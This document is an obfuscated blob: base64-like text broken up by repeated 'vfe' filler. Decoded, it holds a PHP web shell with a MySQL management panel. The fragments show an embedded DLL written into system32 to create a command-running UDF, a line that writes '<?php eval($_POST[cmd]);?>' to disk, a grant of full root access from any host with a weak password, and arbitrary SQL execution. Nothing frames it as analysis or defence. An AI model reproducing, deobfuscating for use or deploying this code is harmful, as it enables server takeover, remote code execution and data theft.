GMEvfeQvfe5MDvfeExQzBEMEQxMzA5vfeMEMzMkMyMjFCNzvfeY2NzhFMTA2MjEwQTFEMDgxNzE1QTvfekxOUU4MEIwQvfeUZCREvfeYwQTvfeBCNkU0MvfezJDMDAxOTvfeAvfe2NkYwNjFFMTExvfeMzE1MUVGOTUwNjgvfe4NTdGvfeMTvfeAyMTBDMTIwRvfeTBGMvfeTEvfe3vfeNTk2NDdvfeCvfeRkYwMEJDREIvfe4NUM3RUYwNTYwMTFFvfeNvfeTUwRjBBQvfezYwQTvfegvfe5MvfeDUwQkZGQvfekZCNTFGNEMzNvfeTvfeA4MEUxRTFEMTgyMDU4MTYzMvfezvfeY4vfeMjU0NjA1vfeMDMwNzE3vfeRkVvfeBRDZERkMxMDNvfeEMvfeTvfeA1NvfejEyRjAzRTAxRUM0vfeOEIyvfeNEYvfezMEJENzFFMUI3NUIwNDVFMkvfeYwRjU4MzhFQTNDN0QzODEwMDQwvfeQ0ZCNzZGMzgzMDFGMEI0MDMwNDA4RjBBvfeQzBBvfeMERGMDE0MvfeDEwNvfeDE3Qzgvfe5MTVEvfeN0UyvfeMDEwMTA4NDA4MDIwODAwMDQ2NDUvfezMvfejAzRkYwMvfejQwNjA4MvfeDQxMDA5RjkyRjcxvfeRTkwQzlDNjQ1MDQ1QTU0QzAxMDQwvfeMEIyOTc2QTQ2QUE0RUY5MEZFMDvfeAwvfeMEUyMTBvfeCMDEwNjI2NEIvfewMDRGMjZBvfeOTI0NDExMEJERUMvfezQ0ZCMDkxMvfeDBGMDQwMDvfeA3MDBEMEIyMzdFOTgyMjcyQTAvfeyMDIwNzlCNkQ3RUQ4MvfeUU4RDAwMDAvfe3MUMvfe4ODY2MjAyODvfeVCOTYvfe1MEFDMDY0OEEwMDJCOENBQTRCQTvfecvfe0NEIwMTAwQzc2RjkyRTc0NjvfeU3ODcvfe0vfeNDY2vfeMTkwNzBFMkFvfeEMkE2NTc0Q0Q2MDJFNzIxMjY2OUQyQkMxQUIwRDUzMDNGQvfejVvfeFvfeNzNEOTvfeAyNDAyRTI2Q0YyNDI3QjYyvfeOvfeTE5QTQvfe5MDkvfewQzA0vfeRjY1MTlFQzZCMEvfeYvfe3RvfeDU4NEZDMDI3QvfeTAvfe2RjZvfeFQkYyOvfeTQyMUI1Qzg4MTA1MvfeUM0ODlDNzAwvfeMDAwMDAwMDAwMDAwODAwNDAwRkYwMDgwN0MyNDA4MDEwRjg1QvfezIwMTAwMDAvfe2MvfeEvfeJFMDBBMDAwMTA4REJvfeFMDA3MEZGRkYvfe1NzgzQ0RGRkVCMEQ5vfeMvfeDvfekwOTA4QTA2NvfeDY4ODA3vfeNDcwMURCNzUwNzhCMUvfeU4M0VFRkMxMURvfeCNzJFREIvfe4vfeMDEwvfeMDAwMDAwMURvfeCNzvfeUwNzhCMUU4M0VvfeFRkMxMURCMTFDMDAxRvfeEI3M0VvfeGNzUwOThCvfeMUU4M0VFRkMxMURCNzNFNDMxQzk4M0U4MDMvfe3MjBEQzFFvfeMDA4OvfeEEwNjQ2OvfeDNGMEZGNzQ3NDg5QzUwMUvfeRCvfeNzUwvfeNzhCMvfeUU4Mvfe0VFRkMxMURCMTFDvfeOTAxRvfeEI3NTAvfe3OEIxRTgzRUVGQzExRvfeEIxMvfeUM5NzUyMDQxMvfeDFvfeEQjc1MDc4QjFFODNFRvfeUZDMTFEvfeQjExQzkwMURCNzNFRjc1MDk4QvfejvfeFFOvfeDvfeNFvfeRUZDMTFEQjczRTQ4M0MvfexMDI4MUZEMDBGM0ZGRkY4M0QxvfeMDE4RvfeDE0MkY4vfeM0ZvfeEvfeRkvfeM3vfeNjBGOEEwvfeMjQyODgvfewNzvfeQ3NvfeDk3NvfeUY3RTk2M0ZGRkvfeZGRjkwOEIvfewMjgzvfeQzvfeIwNDg5MDc4vfeM0M3MDQ4M0U5MvfeDQ3N0YxMDFDRkU5NENGRkZGRvfekY1RTg5RjdCOTk2vfeMDEwMDAwOEEwNzQ3MkvfeNFODNDMDE3vfeN0Yvfe3ODAvfezRvfejvfeBvfeBNzVGMjhCMDc4QvfeTVGMDvfeQ2NkMxRTgwOEMxQvfezAvfexvfeMDg2QzQyOUvfeY4vfeODBFQkU4vfeMDFGMvfeDvfeg5MDvfec4M0M3MDU4OEQ4RTJEOThEQkUwMEMwMDAwMDhCMDcwOUMwNzQ0NThCvfeNUYwNDhEODQzMDAwRTvfeAwMDvfeAvfewMDFGMzUwODNDNzA4RkvfeY5NvfejUwRTAwMDAwOTU4QTA3NDcwOEvfeMwNzREQzg5Rjk3OTA3MEZCNzA3NDc1MDQ3Qjk1NzQ4RjvfeJBRvfeTU1vfeRkY5NjU0RTAvfewMDAwMvfeDlDMDc0MvfeDc4OTvfeAzODNDMzA0RUvfeJEODYxMzFDMEMyMEMwMDgzQzcvfewNDhEvfeNUVGQzMxQvfezA4QTA3NDcvfewOUMwNzQvfeyvfeMjvfeNDRUvfeY3vfeNvfezExMDFDMzhCMDM4NkM0QzFDMDEwODZDNDAxvfeRjA4OTAzRUJFMjI0MEZDMUUwMTA2NjhCMDvfec4M0Mvfe3MDJFQkvfeUyOEJBRTU4RTAwMDAwOvfeERCvfeRTAwRjBGRkZvfeGQkvfeIwMDEwMDAwMDUwNTQvfe2QTAvfe0NTM1N0ZGRDU4RDg3RkYwMvfeTAwMvfeDA4MDIwN0Yvfe4MvfeDYwMjg3RjU4NTA1NDUwNTM1N0ZGRDU1ODYxOEQ0vfeNDI0ODA2QTAwMzlDNDc1RvfekE4M0VDODBFOUM3M0NvfeGRkZvfeGMDAwMvfeDAwMDAwvfeMDAwMDAwMDAwMDAwMDAwMDAwMDAvfewMvfeDAwMDAvfewvfeMDvfeAwMDAwMDAwMDAwMDAvfewvfeMDAwMDvfeAvfewMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDvfeAwMDAwNzBGMDAwMDA1MEYwvfeMDvfeAwMDAwMDAwMDvfeAwMDAwMDAwMDAwMDAwMDAvfewMvfeDvfedERjAwMDAwNjBGMDAwMDAwMDAwMDAvfewMDAwMDvfeAwMDAwMvfeDAwMDAwMDA4OvfeEYwMDAwMDY4RjAwvfeMDAwMDAwMDAwMDAwMvfeDAwMDAwMDAwMDAwMDAwMDAwvfeMDAwMDvfeAwMDAwMDAwMDkyRvfejAwMDAwQTBGMDvfeAwMDBCvfeMEvfeYwMvfeDAvfewMDAwMDAwMDAwQvfezBGMDAwvfeMDAwMvfeDAwMDAwMDczMDAwMDvfegwMDAwvfeMvfeDAwMDA0QjQ1NTI0RTQ1NEMzMzMyMkU0NDRDNEMwMDc1NzI2QzZENkY2RvfeTJFNjQ2QvfezZDMDA1NzUzMzIvfe1RjvfeMzMzIyRTY0NkM2QzAwMDA0QzZGNjE2vfeNDRDNjk2vfeMjcvfeyNjE3Mjc5NDEwMDAwNDvfec2NTc0NTA3MjZGNjM0MTY0NvfejQ3MjY1NzM3MzAwMDvfeA1NjY5NvfezvfeI3vfeNDc1NjE2QzUwNzI2Rjc0NjU2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